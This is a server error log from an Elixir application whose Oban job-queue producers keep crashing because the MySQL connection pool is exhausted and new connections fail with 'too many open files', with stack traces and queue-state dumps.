    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:00:38.238872Z], limit: 5, uuid: "530606f9-fe59-4d76-ab86-4e7b0ffea55c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:38.238878Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16017>, refresh_timer: #Reference<0.2525715032.1077673987.15991>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:00:38.239416Z], limit: 5, uuid: "aef766f8-d10a-47d9-b903-75b36338e9c2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:38.239422Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16020>, refresh_timer: #Reference<0.2525715032.1068498948.42976>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:50.496000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:51.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:51.732000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:59.409000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:59.475000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:00.175000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:02.244000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:00:50.241029Z], limit: 5, uuid: "0de9bc33-afab-4067-b17d-e4631230988a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:50.241034Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16270>, refresh_timer: #Reference<0.2525715032.1121189889.152450>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1073ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:00:50.240062Z], limit: 5, uuid: "4a586d5a-d773-4e2c-996e-4ca6c6ae9ede", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:50.240068Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16266>, refresh_timer: #Reference<0.2525715032.1077673987.16255>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:02.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:00:50.239302Z], limit: 20, uuid: "d7ba1b8a-e3c9-48d6-8677-5ec819dd4ff9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:50.239308Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16269>, refresh_timer: #Reference<0.2525715032.1121189889.152436>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:00:50.238594Z], limit: 50, uuid: "cd725c90-6063-4c40-aaba-f2fdda37fd97", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:50.238601Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16267>, refresh_timer: #Reference<0.2525715032.1077673987.16223>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:02.247000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:00:50.239330Z], limit: 10, uuid: "cb909969-cf34-4b7c-aa65-164bfec9ede1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:50.239335Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16265>, refresh_timer: #Reference<0.2525715032.1077673987.16243>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:02.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:00:50.239601Z], limit: 3, uuid: "8ec9af5c-341b-47ba-84b2-73f28120f8c9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:50.239606Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.16268>, refresh_timer: #Reference<0.2525715032.1068498948.43169>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:01:02.499000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:03.672000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:05.632000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:07.788000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:10.160000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:14.078000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:01:14.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
